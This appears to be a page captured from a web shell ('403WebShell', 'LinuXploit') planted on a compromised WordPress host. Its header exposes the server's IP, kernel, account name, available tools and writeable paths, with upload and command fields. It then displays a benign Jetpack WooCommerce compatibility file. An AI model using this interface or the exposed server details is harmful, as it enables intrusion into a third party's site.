Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.23.102.79
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/diixadigital.com/wp-content/plugins/jetpack/3rd-party/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/diixadigital.com/wp-content/plugins/jetpack/3rd-party/woocommerce.php
<?php
/**
 * This file contains compatibility functions for WooCommerce to improve Jetpack feature support.
 *
 * @package automattic/jetpack
 */

add_action( 'woocommerce_init', 'jetpack_woocommerce_integration' );

/**
 * Loads JP+WC integration.
 *
 * Fires on `woocommerce_init` hook
 */
function jetpack_woocommerce_integration() {
	/**
	 * Double check WooCommerce exists - unlikely to fail due to the hook being used but better safe than sorry.
	 */
	if ( ! class_exists( 'WooCommerce' ) ) {
		return;
	}

	add_action( 'woocommerce_share', 'jetpack_woocommerce_social_share_icons', 10 );

	/**
	 * Add product post type to Jetpack sitemap while skipping hidden products.
	 */
	add_filter( 'jetpack_sitemap_post_types', 'jetpack_woocommerce_add_to_sitemap' );
	add_filter( 'jetpack_sitemap_skip_post', 'jetpack_woocommerce_skip_hidden_products_in_sitemap', 10, 2 );

	/**
	 * Wrap in function exists check since this requires WooCommerce 3.3+.
	 */
	if ( function_exists( 'wc_get_default_products_per_row' ) ) {
		add_filter( 'infinite_scroll_render_callbacks', 'jetpack_woocommerce_infinite_scroll_render_callback', 10 );
		add_action( 'wp_enqueue_scripts', 'jetpack_woocommerce_infinite_scroll_style', 10 );
	}
}

/**
 * Add product post type to sitemap if Woocommerce is present.
 *
 * @param array $post_types Array of post types included in sitemap.
 */
function jetpack_woocommerce_add_to_sitemap( $post_types ) {
	$post_types[] = 'product';

	return $post_types;
}

/**
 * Skip hidden products when generating the sitemap.
 *
 * @param bool    $skip Whether to skip the post.
 * @param WP_Post $post The post object.
 */
function jetpack_woocommerce_skip_hidden_products_in_sitemap( $skip, $post ) {
	if ( $post !== null && $post->post_type === 'product' ) {
		$product = wc_get_product( $post->ID );
		if ( $product ) {
			$skip = ! $product->is_visible();
		}
	}
	return $skip;
}

/**
 * Make sure the social sharing icons show up under the product's short description
 */
function jetpack_woocommerce_social_share_icons() {
	if ( function_exists( 'sharing_display' ) ) {
		remove_filter( 'the_content', 'sharing_display', 19 );
		remove_filter( 'the_excerpt', 'sharing_display', 19 );
		sharing_display( '', true );
	}
}

/**
 * Remove sharing display from account, cart, and checkout pages in WooCommerce.
 */
function jetpack_woocommerce_remove_share() {
	/**
	 * Double check WooCommerce exists - unlikely to fail due to the hook being used but better safe than sorry.
	 */
	if ( ! class_exists( 'WooCommerce' ) ) {
		return;
	}

	if ( is_cart() || is_checkout() || is_account_page() ) {
		remove_filter( 'the_content', 'sharing_display', 19 );
		if ( class_exists( 'Jetpack_Likes' ) ) {
			remove_filter( 'the_content', array( Jetpack_Likes::init(), 'post_likes' ), 30, 1 );
		}
	}
}
add_action( 'loop_start', 'jetpack_woocommerce_remove_share' );

/**
 * Add a callback for WooCommerce product rendering in infinite scroll.
 *
 * @param array $callbacks Array of render callpacks for IS.
 * @return array
 */
function jetpack_woocommerce_infinite_scroll_render_callback( $callbacks ) {
	$callbacks[] = 'jetpack_woocommerce_infinite_scroll_render';
	return $callbacks;
}

/**
 * Add a default renderer for WooCommerce products within infinite scroll.
 */
function jetpack_woocommerce_infinite_scroll_render() {
	if ( ! is_shop() && ! is_product_taxonomy() && ! is_product_category() && ! is_product_tag() ) {
		return;
	}

	woocommerce_product_loop_start();

	while ( have_posts() ) {
		the_post();
		wc_get_template_part( 'content', 'product' );
	}

	woocommerce_product_loop_end();
}

/**
 * Basic styling when infinite scroll is active only.
 */
function jetpack_woocommerce_infinite_scroll_style() {
	$custom_css = '
	.infinite-scroll .woocommerce-pagination {
		display: none;
	}';
	wp_add_inline_style( 'woocommerce-layout', $custom_css );
}

Youez - 2016 - github.com/yon3zu
LinuXploit